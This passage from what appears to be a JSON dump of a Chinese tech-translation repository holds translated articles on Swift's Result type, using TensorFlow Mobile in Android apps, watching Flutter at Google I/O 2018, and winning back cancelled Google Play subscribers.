= generateRandomNumber(maximum: 10)\nlet mapResult = result2.map { calculateFactors(for: $0) }\n\n```\n\n然而，这使得 `mapResult` 成为一个相当难看的类型:`Result<Result<Int, FactorError>, FactorError>`。它是另一个 `Result` 内部的一个 `Result`。\n\n就像可选值一样，现在是 `flatMap()` 方法起作用的时候了。如果你的转换闭包返回一个 `Result`，`flatMap()` 将直接返回新的 `Result`，而不是包装在另一个 `Result` 内：\n\n```swift\nlet flatMapResult = result2.flatMap { calculateFactors(for: $0) }\n```\n\n因此，其中 `mapResult` 是一个 `Result<Result<Int, FactorError>, FactorError>`，`flatMapResult` 被展平成 `Result<Int, FactorError>` – 第一个原始成功值(一个随机数)被转换成一个新的成功值(因数的数量)。就像 `map()` 一样，如果其中一个 `Result` 失败，那么 `flatMapResult` 也将失败。\n\n至于 `mapError()` 和 `flatMapError()`，除了转换 **error** 值而不是 **success** 值外，它们执行类似的操作。\n\n## 接下来？\n\n我写过一些关于 Swift 5 其他一些很棒的新功能的文章，你可能想看看：\n\n- [How to use custom string interpolation in Swift 5](/articles/163/how-to-use-custom-string-interpolation-in-swift)\n- [How to use @dynamicCallable in Swift](/articles/134/how-to-use-dynamiccallable-in-swift)\n- [Swift 5.0 is changing optional try](/articles/147/swift-5-is-changing-optional-try)\n- [What’s new in Swift 5.0](/articles/126/whats-new-in-swift-5-0)\n\n您可能还想尝试我的 [What’s new in Swift 5.0 playground](https://github.com/twostraws/whats-new-in-swift-5-0)，它允许您交互式地尝试 Swift 5 的新功能。\n\n如果您想了解更多 Swift 中的 result 类型，您可能想查看 GitHub 上的 [antitypical/Result](https://github.com/antitypical/Result) 的源代码，这是最流行的 result 实现之一。\n\n我还强烈推荐阅读 Matt Gallagher 的 [excellent discussion of `Result`](https://www.cocoawithlove.com/blog/2016/08/21/result-types-part-one.html)，这本书已经有几年的历史了，但仍然很有用，也很有趣。\n\n你已经在忙着为 Swift 4.2 和 iOS 12 更新你的应用程序了，为什么不让 Instabug 帮你发现和修复 bug 呢?**只需添加两行代码** 到您的项目中，就可以收到全面的报告，其中包含您发布世界级应用程序所需的所有反馈 — [单击此处了解更多信息](https://try.instabug.com/ios/?utm_source=hackingwithswift&utm_medium=native_ads&utm_campaign=hackingwithswiftv3)!\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n------\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-use-tensorflow-mobile-in-android-apps.md",
    "content": "> * 原文地址：[How to Use TensorFlow Mobile in Android Apps](https://code.tutsplus.com/tutorials/how-to-use-tensorflow-mobile-in-android-apps--cms-30957?utm_source=mobiledevweekly&utm_medium=email)\n> * 原文作者：[Ashraff Hathibelagal](https://tutsplus.com/authors/ashraff-hathibelagal?_ga=2.268364494.17284051.1526005734-367499695.1526005732)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-tensorflow-mobile-in-android-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-tensorflow-mobile-in-android-apps.md)\n> * 译者：[luochen](https://github.com/luochen1992)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH) [LeeSniper](https://github.com/LeeSniper)\n\n# 如何在安卓应用中使用 TensorFlow Mobile\n\n[TensorFlow](https://www.tensorflow.org/) 是当今最流行的机器学习框架之一，您利用它可以轻松创建和训练深度模型 —— 通常也称为深度前馈神经网络，这些模型可以解决各种复杂问题，如图像分类、目标检测和自然语言理解。[TensorFlow Mobile](https://www.tensorflow.org/mobile/) 是一个旨在帮助您在移动应用中利用这些模型的库。\n\n在本教程中，我将向您展示如何在 Android Studio 项目中使用 TensorFlow Mobile。\n\n## 前期准备\n\n为了能够跟上教程，您需要做的是：\n\n*   [Android Studio](https://developer.android.com/studio/index.html) 3.0 或更高版本\n*   [TensorFlow](https://www.tensorflow.org/install/) 1.5.0 或更高版本\n*   一台能够运行 API level 21 或更高的安卓设备\n*   以及对 TensorFlow 框架的基本了解\n\n## 1、创建模型\n\n在我们开始使用 TensorFlow Mobile 之前，我们需要一个已经训练好的 TensorFlow 模型。我们现在创建一个。\n\n我们的模型将非常基础，类似于异或门，接受两个输入，它们可以是零或一，然后有一个输出。如果两个输入相同，则输出为零。此外，因为它将是一个深度模型，它将有两个隐藏层，一个有四个神经元，另一个有三个神经元。您可以自由改变隐藏层的数量以及它们包含的神经元的数量。\n\n为了保持本教程的简洁，我们将使用 [TFLearn](https://github.com/tflearn/tflearn)，这是一个很受欢迎的 TensorFlow 封装框架，它提供更加直接而简洁的 API，而不是直接使用低级别的 TensorFlow API。如果您还没安装它，请使用以下命令将其安装在 TensorFlow 虚拟环境中：\n\n```python\npip install tflearn\n```\n\n要开始创建模型，最好在空目录中先新建一个名为 **create_model.py** 的 Python 脚本，然后使用您最喜欢的文本编辑器打开它。\n\n在文件里，我们需要做的第一件事是导入 TFLearn API。\n\n```python\nimport tflearn\n```\n\n接下来，我们必须创建训练数据。对于我们的简单模型，只有四种可能的输入和输出，类似于异或门真值表的内容。\n\n```python\nX = [\n    [0, 0],\n    [0, 1],\n    [1, 0],\n    [1, 1]\n]\n \nY = [\n    [0],  # Desired output for inputs 0, 0\n    [1],  # Desired output for inputs 0, 1\n    [1],  # Desired output for inputs 1, 0\n    [0]   # Desired output for inputs 1, 1\n]\n```\n\n为隐藏层中的所有神经元分配初始权重时，最好的做法通常是使用从均匀分布中产生的随机数。可以使用 `uniform()` 方法生成这些值。\n\n```python\nweights = tflearn.initializations.uniform(minval = -1, maxval = 1)\n```\n\n此时，我们可以开始构建神经网络层。要创建输入层，我们必须使用 `input_data()` 方法，它允许我们指定网络可以接受的输入数量。一旦输入层准备就绪，我们可以多次调用 `fully_connected()` 方法来向网络添加更多层。\n\n```python\n# 输入层\nnet = tflearn.input_data(\n        shape = [None, 2],\n        name = 'my_input'\n)\n \n# 隐藏层\nnet = tflearn.fully_connected(net, 4,\n        activation = 'sigmoid',\n        weights_init = weights\n)\nnet = tflearn.fully_connected(net, 3,\n        activation = 'sigmoid',\n        weights_init = weights\n)\n \n# 输出层\nnet = tflearn.fully_connected(net, 1,\n        activation = 'sigmoid', \n        weights_init = weights,\n        name = 'my_output'\n)\n```\n\n注意，在上面的代码中，我们赋予了输入层和输出层有意义的名称。这么做很重要，因为我们在使用安卓应用中的网络时需要它们。还要注意隐藏层和输出层使用了 `sigmoid` 激活函数。您可以试试其他激活函数，例如 `softmax`、`tanh` 和 `relu`。\n\n作为我们网络的最后一层，我们必须使用 `regression()` 函数创建一个回归层，该函数需要一些超参数作为其参数，例如网络的学习率以及它应该使用的优化器和损失函数。以下代码向您展示了如何使用随机梯度下降（简称 SGD）作为优化器函数，均方误差作为损失函数：\n\n```python\nnet = tflearn.regression(net,\n        learning_rate = 2,\n        optimizer = 'sgd',\n        loss = 'mean_square'\n)\n```\n\n接下来，为了让 TFLearn 框架知道我们的网络模型实际上是一个深度神经网络模型，我们须要调用 `DNN()` 函数。\n\n```python\nmodel = tflearn.DNN(net)\n```\n\n模型现在已经准备好了。我们现在要做的就是使用我们之前创建的训练数据进行训练。因此，调用模型的 `fit()` 方法，并指定训练数据与训练周期。由于训练数据非常小，我们的模型将需要数千次迭代才能达到合理的精度。\n\n```python\nmodel.fit(X, Y, 5000)\n```\n\n一旦训练完成，我们可以调用模型的 `predict()` 方法来检查它是否生成期望的输出。以下代码展示了如何检查所有有效输入的输出：\n\n```python\nprint(\"1 XOR 0 = %f\" % model.predict([[1,0]]).item(0))\nprint(\"1 XOR 1 = %f\" % model.predict([[1,1]]).item(0))\nprint(\"0 XOR 1 = %f\" % model.predict([[0,1]]).item(0))\nprint(\"0 XOR 0 = %f\" % model.predict([[0,0]]).item(0))\n```\n\n如果现在运行 Python 脚本，您应该看到如下所示的输出：\n\n![训练后的预测结果](https://cms-assets.tutsplus.com/uploads/users/362/posts/30957/image/Screenshot%20from%202018-04-12%2007-11-00.png)\n\n请注意，输出不会完全是 0 或 1。而是接近 0 或 1 的浮点数。因此，在使用输出时，可能需要使用 Python 的 `round()` 函数。\n\n除非我们在训练后明确保存模型，否则只要程序结束，我们就会失去模型。幸运的是，对于 TFLearn，只需调用 `save()` 方法即可保存模型。但是，为了能够在 TensorFlow Mobile 中使用保存的模型，在保存之前，我们必须确保移除所有训练相关的操作。这些操作都在 tf.GraphKeys.TRAIN_OPS 集合中。以下代码展示了怎么去移除相关操作：\n\n```python\n# 移除训练相关的操作\nwith net.graph.as_default():\n    del tf.get_collection_ref(tf.GraphKeys.TRAIN_OPS)[:]\n \n# 保存模型\nmodel.save('xor.tflearn')\n```\n\n如果您再次运行该脚本，您会发现它会生成检查点文件、元数据文件、索引文件和数据文件，所有这些文件一起使用时可以快速重建我们训练好的模型。\n\n## 2、固化模型\n\n除了保存模型外，我们还必须先固化模型，然后才能将其与 TensorFlow Mobile 配合使用。正如您可能已经猜到的那样，固化模型的过程涉及将其所有变量转换为常量。此外，固化模型必须是符合 Google Protocol Buffers 序列化格式的单个二进制文件。\n\n新建一个名为 **freeze_model.py** 的 Python 脚本，并使用文本编辑器打开它。我们将在这个文件中编写固化的模型代码来。\n\n由于 TFLearn 没有任何固化模型的功能，我们现在必须直接使用 TensorFlow API。通过将以下行添加到文件来导入它们：\n\n```python\nimport tensorflow as tf\n```\n\n整个脚本里面，我们将使用单个 TensorFlow 会话。我们使用 `Session` 类的构造函数创建会话。\n\n```python\nwith tf.Session() as session:\n    # 代码的其他部分在这\n```\n\n此时，我们必须通过调用 `import_meta_graph()` 函数并将模型的元数据文件的名称传递给它来创建 `Saver` 对象，除了返回 `Saver` 对象外，`import_meta_graph()` 函数还会自动将模型的图定义添加到会话的图定义中。\n\n一旦创建了保存器（saver），我们可以通过调用 `restore()` 方法来初始化图定义中存在的所有变量，该方法需要包含模型最新检查点文件的目录路径。\n\n```python\nmy_saver = tf.train.import_meta_graph('xor.tflearn.meta')\nmy_saver.restore(session, tf.train.latest_checkpoint('.'))\n```\n\n此时，我们可以调用 `convert_variables_to_constants()` 函数来创建一个固化的图定义，其中模型的所有变量都替换成常量。作为其输入，函数需要当前会话、当前会话的图定义以及包含模型输出层名称的列表。\n\n```\nfrozen_graph = tf.graph_util.convert_variables_to_constants(\n    session,\n    session.graph_def,\n    ['my_output/Sigmoid']\n)\n```\n\n调用固化图定义的 `SerializeToString()` 方法为我们提供了模型的二进制 protobuf 表示。通过使用 Python 基本的文件 I/O，我建议您把它保存为一个名为 **frozen_model.pb** 的文件。\n\n```python\nwith open('frozen_model.pb', 'wb') as f:\n    f.write(frozen_graph.SerializeToString())\n```\n\n现在可以运行脚本来生成固化模型。\n\n我们现在拥有开始使用 TensorFlow Mobile 所需的一切。\n\n## 3、Android Studio 项目设置\n\nTensorFlow Mobile 库可在 JCenter 上使用，所以我们可以直接将它添加为 `app` 模块 **build.gradle** 文件中的 `implementation` 依赖项。\n\n```\nimplementation 'org.tensorflow:tensorflow-android:1.7.0'\n```\n\n要把固化的模型添加到项目中，请将 **frozen_model.pb** 文件放置到项目的 **assets** 文件夹中。\n\n## 4、初始化 TensorFlow 接口\n\nTensorFlow Mobile 提供了一个简单的接口，我们可以使用它与我们的固化模型进行交互。要创建接口，请使用 `TensorFlowInferenceInterface` 类的构造函数，该类需要一个 `AssetManager` 实例和固化模型的文件名。\n\n```\nthread {\n    val tfInterface = TensorFlowInferenceInterface(assets,\n                                        \"frozen_model.pb\")\n     \n    // More code here\n}\n```\n\n在上面的代码中，您可以看到我们正在产生一个新的线程。这是为了确保应用的 UI 保持响应，虽然不必要，但建议这样做。\n\n为了保证 TensorFlow Mobile 能够正确读取我们模型的文件，现在让我们尝试打印模型图中所有操作的名称。为了得到对图的引用，我们可以使用接口的 `graph()` 方法，并获取所有操作，即图的 `operations()` 方法。以下代码告诉您该怎么做：\n\n```\nval graph = tfInterface.graph()\ngraph.operations().forEach {\n    println(it.name())\n}\n```\n\n如果现在运行该应用，则应该能够看到在 Android Studio 的 **Logcat** 窗口中打印的十几个操作名称。如果固化模型时没有出错，我们可以在这些名称中找到输入和输出层的名称：**my_input/X** 和 **my_output/Sigmoid**。\n\n![Logcat 窗口展示了操作列表](https://cms-assets.tutsplus.com/uploads/users/362/posts/30957/image/Screenshot%20from%202018-04-12%2007-19-01.png)\n\n## 5、使用模型\n\n为了用模型进行预测，我们将数据输入到输入层，在输出层得到数据。将数据输入到输入层需要使用接口的 `feed()` 方法，该方法需要输入层的名称、含有输入数据的数组以及数组的维数。以下代码展示如何将数字 `0` 和 `1` 输入到输入层：\n\n```\ntfInterface.feed(\"my_input/X\",\n            floatArrayOf(0f, 1f), 1, 2)\n```\n\n数据加载到输入层后，我们必须使用 `run()` 方法进行推断操作，该方法需要输出层的名称。一旦操作完成，输出层将包含模型的预测。为了将预测结果加载到 Kotlin 数组中，我们可以使用 `fetch()` 方法。以下代码显示了如何执行此操作：\n\n```\ntfInterface.run(arrayOf(\"my_output/Sigmoid\"))\n \nval output = floatArrayOf(-1f)\ntfInterface.fetch(\"my_output/Sigmoid\", output)\n```\n\n您现在可以运行该应用来查看模型的预测是否正确。\n\n![Logcat window displaying the prediction](https://cms-assets.tutsplus.com/uploads/users/362/posts/30957/image/Screenshot%20from%202018-04-12%2007-20-12.png)\n\n可以更改输入到输入层的数字，以确认模型的预测始终正确。\n\n## 总结\n\n您现在知道如何创建一个简单的 TensorFlow 模型以及在安卓应用上通过 TensorFlow Mobile 去使用该模型。不过不必拘泥于自己的模型，用您今天学到的东西，使用更大的模型对您来说应该没有任何问题。例如 MobileNet 以及 Inception，这些都可以在 TensorFlow 的 [模型园](https://github.com/tensorflow/models \"Link: https://github.com/tensorflow/models\") 里找到。但是请注意，这些模型会使 APK 更大，从而给使用低端设备的用户造成问题。\n\n要了解有关 TensorFlow Mobile 的更多信息，请参阅 [官方文档](https://www.tensorflow.org/mobile/mobile_intro \"Link: https://www.tensorflow.org/mobile/mobile_intro\").\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-watch-flutter-at-google-i-o-2018.md",
    "content": "> * 原文地址：[How to watch Flutter at Google I/O 2018](https://medium.com/flutter-io/how-to-watch-flutter-at-google-i-o-2018-c7e082fc836f)\n> * 原文作者：[Martin Aguinis](https://medium.com/@aguinis?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-watch-flutter-at-google-i-o-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-watch-flutter-at-google-i-o-2018.md)\n> * 译者：[wzasd](https://github.com/wzasd)\n> * 校对者：[faintz](https://github.com/faintz)\n\n# 如何在 Google I/O 2018 以正确的姿势观看 Flutter\n\n![](https://cdn-images-1.medium.com/max/800/1*dArkoJSnhvcjZ6p4ds63BA.png)\n\nGoogle I/O 2018 还有一周就开始了，Flutter 将会在大会中通过会议、codelabs、office hours 和一个交互式沙盒空间等活动中展示其独有特色。无论您 5 月 8 日至 5 月 10 日身在何处，您都可以实时的观看关于的 Flutter 的所有活动讲解。\n\n查看与 Flutter 相关的会议，请访问 [https://google.com/io/](https://events.google.com/io/)，以便您可以在线查看以下所有会议内容，包括直播以及点播：\n\n*   5 月 8 日，星期二下午 2:00 PDT—[为你的产品定制化 Material 组件](https://events.google.com/io/schedule/?section=may-8&sid=247e7a44-c632-464e-954c-303ede5befd5&livestream=true&topic=flutter)\n*   5 月 8 日，星期二下午 5:00 PDT — [跨平台构建优秀的 Material Design 产品](https://events.google.com/io/schedule/?section=may-8&sid=03c677fd-d082-4bf9-ae38-06829cfdada9&livestream=true&topic=flutter)\n*   5 月 9 日，星期三上午 8:30 PDT — [用 Flutter 和 Material Design 编写漂亮的UI](https://events.google.com/io/schedule/?section=may-8&sid=086cd75d-8f7a-45d7-99bb-69dd3709535a&livestream=true&topic=flutter)\n*   5 月 9 日，星期三下午 2:30 PDT  — [使用 Flutter 和 Firebase 让统计移动开发数据充满乐趣](https://events.google.com/io/schedule/?section=may-8&sid=94f05260-0dfd-4867-8d04-399e96595035&livestream=true&topic=flutter)\n*   5 月 10 日，星期四上午 10:30 PDT— [使用 Flutter 构建响应式移动应用程序](https://events.google.com/io/schedule/?section=may-8&sid=dab2bf45-6e44-4605-a997-9d446f95ef38&livestream=true&topic=flutter)\n*   5 月 10 日，星期四下午 3:30 PDT— [将 Firebase 添加到您的跨平台 React Native 或 Flutter 应用](https://events.google.com/io/schedule/?section=may-8&sid=c8374ad6-94f3-47bb-99fd-164c0d0a81bc&livestream=true&topic=flutter)\n\n完整的 Flutter 直播时间表[点击这里](https://events.google.com/io/schedule/?section=may-8&livestream=true&topic=flutter&utm_source=flutter&utm_medium=pre%20io%20announcement&utm_campaign=io18)。如果你在网页中收藏这些会议链接会非常容易再次找到他们。\n\n除此之外，请务必查看关于 Flutter Sandbox 的虚拟游览，将在5月9日在 [g.co/io/guides](http://g.co/io/guides) 提供支持。您将会看到由2Dimensions 为此制作的内容！\n\n![](https://cdn-images-1.medium.com/max/800/1*ZPr26vDyRE90NtHZJ6Jmgg.gif)\n\n如果要想要与其他开发者讨论关于 Flutter 和 I/O 的事宜，请确保参加您附近的 I/O 全球活动的扩展活动 [I/O Extended events](http://google.com/io/extended)。如果您有兴趣举办属于您自己的直播 I/O 的视频活动，我们也很乐意推广[这类活动](https://events.google.com/io/extended/form/)。\n\n今年无论您在家中、活动中还是在 I/O 的扩展活动中都可以参加此次活动。请务必在 Twitter 上与 #Flutter on Twitter 中分享你的体验。\n\n下周见！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-win-back-subscribers-who-cancel.md",
    "content": "> * 原文地址：[How to win back subscribers who cancel: Learn how developers spot at-risk subscribers, and win them back if they leave](https://medium.com/googleplaydev/how-to-win-back-subscribers-who-cancel-9960731adeb)\n> * 原文作者：[Laura Willis](https://medium.com/@laura.willis22?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-win-back-subscribers-who-cancel.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-win-back-subscribers-who-cancel.md)\n> * 译者：[allenlongbaobao](https://github.com/allenlongbaobao)\n> * 校对者：[LuoJiacheng](https://github.com/LuoJiacheng)、[Starrier](https://github.com/Starrier)\n\n# 怎样把取消订阅的用户吸引回来\n\n## 学习作为开发者如何识别有离开风险的用户，并且如果他们离开的话，怎样吸引回来。\n\n![](https://cdn-images-1.medium.com/max/800/1*wLhnuD2dXjD5xdrYhqQ5ZQ.png)\n\n在「[如何留住你的产品用户](https://medium.com/googleplaydev/how-to-hold-on-to-your-apps-subscribers-eebb5965e267)」一文中，我的同事 [Danielle Stein](https://medium.com/@daniellestein_60947) 讨论了如何吸引用户，这样他们就不会流失了。但是，我肯定很大一部分的开发者知道，用户流失是客观存在的。那么，你怎么把这些离开的用户吸引回来呢？下面我将分享从在 Google Play 上有着成功吸引客户经验的开发者身上学到的知识。\n\n### **知识（信息）就是力量！**\n\n谜题的第一个答案就是：监控你的用户。这样一来，如果他们处在取消订阅边缘或者正在取消的时候你就会知道。做到这一点有很多方法。[**开发者实时通知**](https://developer.android.com/google/play/billing/realtime_developer_notifications.html)，它会给你推送通知，比如「取消」、「暂停」、「重启」，总之，只要用户的状态一改变，就会推送通知。另外，当用户打开你的应用的时候，你可以检查他的订阅状态。有了这些信息之后，你就可以围绕它展开一些行动了！你可以呼吁用户修改他们的支付订单，或者给他们提供一些折扣以免他们离开，又或者通过展示产品新内容新特性来说服他们回归。\n\n> 使用实时用户通知工具允许 [Elevate](https://docs.google.com/document/d/15GL1p5Kck8GwYIkcvMpYxi9HvGqEiuN2QOmESDrFHOA/edit?ts=5a98636f#heading=h.zhm9jn6w7dxv) 给那些离开的用户发一封邮件，提醒他们如果离开，会蒙受哪些损失，并邀请他们重新订阅产品。\n\n![](https://cdn-images-1.medium.com/max/800/0*6gFz6HN_mFNXCJWu.)\n\n### 确保你不会因为意外而损失用户\n\n你知道真正难办的是什么吗？因为支付失败而意外损失用户，它被称作是 **不自主的流失**。Google Play 提供了几种高效工具来帮助你阻止这些发生。设置一个[**宽限期**](https://developer.android.com/google/play/billing/billing_subscriptions.html#grace-period)对用户进行保留，这样一来，当用户续费失败的时候，你就有额外的 3 - 7 天来修复支付问题。自从使用了宽限期这个功能，Google Play 上的开发者发现续费失败用户的重新订阅比例高达 57%。这个功能可以在 [**Google Play 控制台**](https://play.google.com/apps/publish)中开启一个开关来轻松实现，不需要任何代码参与进来。如果这还不能说服你，那么 ———— 实际上，Google Play 上 80% 的顶尖开发者都开启了宽限期功能。\n\n![](https://cdn-images-1.medium.com/max/800/0*eLdFcYo11r5ACRNB.)\n\n关于宽限期，再补充一点：你可以增加[账户保留](https://developer.android.com/google/play/billing/billing_subscriptions.html#account-holds)功能。有了它，你可以将支付失败的用户放入一个挂起状态，并阻止他们访问内容直到支付成功，这样也能促进他们去进一步支付。然而，账户挂起需要一些额外的代码，不像宽限期，后者不需要浪费你额外的时间去提供内容。\n\n![](https://cdn-images-1.medium.com/max/800/1*OYTPoI-4oIjizpC_qTDB2Q.png)\n\n这里有一些反馈来自 **大量** 开发者，他们的回归率因为账户保留而得到了提升。\n\n![](https://cdn-images-1.medium.com/max/800/1*Z0tBEGEwoAxr6aTVOzuMhg.png)\n\n> [火种，](https://play.google.com/store/apps/details?id=com.tinder&hl=en) 一个流行的约会软件，自从实现了账户保留，**回归率得到 3 倍提升**。「账户保留让我们能够恢复支付，正常的话可能流失了。这是一个傻瓜式操作，而且部署很简单，」Yiqi Meng，火种软件工程师。\n\n![](https://cdn-images-1.medium.com/max/800/1*MTtL-UHf1v9hJiawrO8zVw.png)\n\n> 当 [Keepsafe](https://play.google.com/store/apps/details?id=com.kii.safe&hl=en) （一个加密相片、视频的应用）集成了账户保留功能，他们 **在安卓上的续费率提升了 25%** ———— 来自 Keepsafe Photo Valut 的开发者。Keepsafe 的用户信赖他们的付费账户，这样他们能够加密相片和视频，相当于购买了安全。所以，当他们的账户因为支付失败被挂起的会后，他们极大可能重新提交支付信息来解决这个问题。\n\n那么，你会选择哪一种呢？我们看得到最佳结果是开发者两者（宽限期和账号保留）都启用了，当然，你也可以只选择其中的一种。\n\n### **提供他们无法拒绝的服务**\n\n我们假设可怕的事情发生了，一个用户想要取消订阅或者离开。使用不同的消息渠道，比如 **站内信息**，**通知**，**邮件**，**短信**，可以看到，开发者成功使用不同的方式去说服用户改变他们的注意。Google Play 研究显示，那些赢回用户的方式更多地只是一种呼吁，因为，他们没有准确定位用户取消订阅的特殊原因，他们没有做假设。比如，不要假设价格是用户取消的唯一原因，想当然地提供一个折扣。有些用户取消的原因可能是他们觉得内容不够新，如果你能向他们展示你添加的新内容，可能更有说服力。\n\n*   **给用户一个选择不同方案的机会。** 有时候一个用户想要取消，可能是因为他们当前的购买方案和需求不相匹配。也许是因为太贵并且有些功能他们用不到，或者他们之前忘了还有一种购买方案拥有一些当前方案没有的功能。给用户提供[**升级或者降级**](https://developer.android.com/google/play/billing/billing_reference.html#upgrade-getBuyIntentToReplaceSkus)到不同的产品方案的能力，从而避免用户取消订单。举个例子，当一个收音机应用的「高级用户」想要离线收听，他们会被提示在应用内升级为「最高级用户」。你也可以在应用内创建一个 「管理服务」的按钮来展示这一功能。\n\n![](https://cdn-images-1.medium.com/max/800/1*H0gP5CrTZjTMGUiKYvJ8aw.png)\n\n*   **使用一些赠品，比如，给用户提供有期限的服务，作为网络不稳定或者服务出错的补偿策略。** [终极吉他](https://play.google.com/store/apps/details?id=com.ultimateguitar.tabs&hl=en) 使用实时用户通知工具来感知用户何时取消了订单。随后，他们会联系取消用户并提供他们几个星期的免费服务，原因是一些用户提出的问题，比如产品不稳定。终极吉他介绍，这些收到免费服务的用户「感觉我们很在乎他们的用户体验，然后成为了忠实用户。」你可以使用 [**Google Play Developer API**](https://developer.android.com/google/play/developer-api.html#subscriptions_api_overview) 为你的用户延缓订单。\n*   **高亮用户没有使用过的或者他们取消后将失去的内容或者特性**。[Google Play 研究](https://g.co/play/subscriptioninsights2017)显示访问内容是大部分用户起初订阅或者持续订阅的原因，因此将内容作为留住用户的保留策略。对于那些有免费试用者的产品，如果有人一直使用试用版本，那么站内消息十分有用。比如，流音乐服务 [Anghami](https://play.google.com/store/apps/details?id=com.anghami&hl=en) 反复强调他们的离线模式这一核心付费功能，敦促那些即将离开的订阅者去重新订阅，他们会对用户说：「恢复你曾下载过的 38 首歌。」\n\n![](https://cdn-images-1.medium.com/max/800/1*lIeLgzpRAa4FuxqOkcAcGA.png)\n\n现在，你可以让用户恢复之前取消的订阅，但必须是他们的订阅还未到期。在订阅到期之前，你可以引导用户去[**订阅恢复**](https://developer.android.com/google/play/billing/billing_subscriptions.html#restore)按钮。我们的数据显示 18% 的主动离开发生在用户注册的第一天，30-40% 发生在第一个星期。这一情况表明使用恢复功能去赢回用户是个机会，因为他们有大量的时间去改变主意，他们只要重新加入，并恢复订阅，而不需要再走一次注册流程。\n\n*   **给订阅者一个重新订阅折扣，可以提供** [**介绍价格**](https://support.google.com/googleplay/android-developer/answer/140504?hl=en#intro) **或者** [**免费试用**](https://developer.android.com/google/play/billing/billing_subscriptions.html#trials)**。** 许多开发者使用介绍价格和免费试用来争取用户，但是它也可以帮你留住订阅者，特别是如果付费存在问题的话。约会软件 [Jaumo](https://play.google.com/store/apps/details?id=com.jaumo&hl=en) 在用户付费订阅结束后的 3 天，提供 30% 折扣。通过这个服务，他们能够 **赢回大概 5% 的订阅者**\n\n无论哪一种服务，它们都不是唯一的选择，测试是检测它是否对你的用户有帮助的最好方法。Google Play 研究显示当用户浏览挽回服务的时候，他们会对选项估值，比如选择重新激活时间，选择多种计划，选择不同的服务。对不同的库存量（SKU）采用 A/B 测试，计算支出，看看哪种方式对你的产品更有用。在产品内做 A/B 测试，你可以选择自己设置，也可以使用 [Firebase remote config](https://firebase.google.com/docs/remote-config/abtest-config)。\n\n好了，你学到了！有了这些提示和方法，你再也不会流失一个订阅者了，对吧？我们都知道，这并不是这样简单，用户保留是订阅产品的开发者面临的重大挑战之一。你可以下载[**这篇文章的 PDF 版本**](http://services.google.com/fh/files/misc/win_back_subscribers_googleplay.pdf)，总结我以上讨论的要点，分享给那些不愿意阅读整篇文章的朋友。\n\n* * *\n\n### **你怎么看？**\n\n关于怎么把订阅者吸引回来，如何防止用户流失，你有其他想法吗？哪种方法最适合你？在下方积极留言吧，或者在推特上关注 **AskPlayDev** 标签，我们会使用 [@GooglePlayDev](http://twitter.com/googleplaydev) 账号来回复，这个账号上，我们还会经常分享如何在 Google Play 上取得成功的新闻和技巧。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 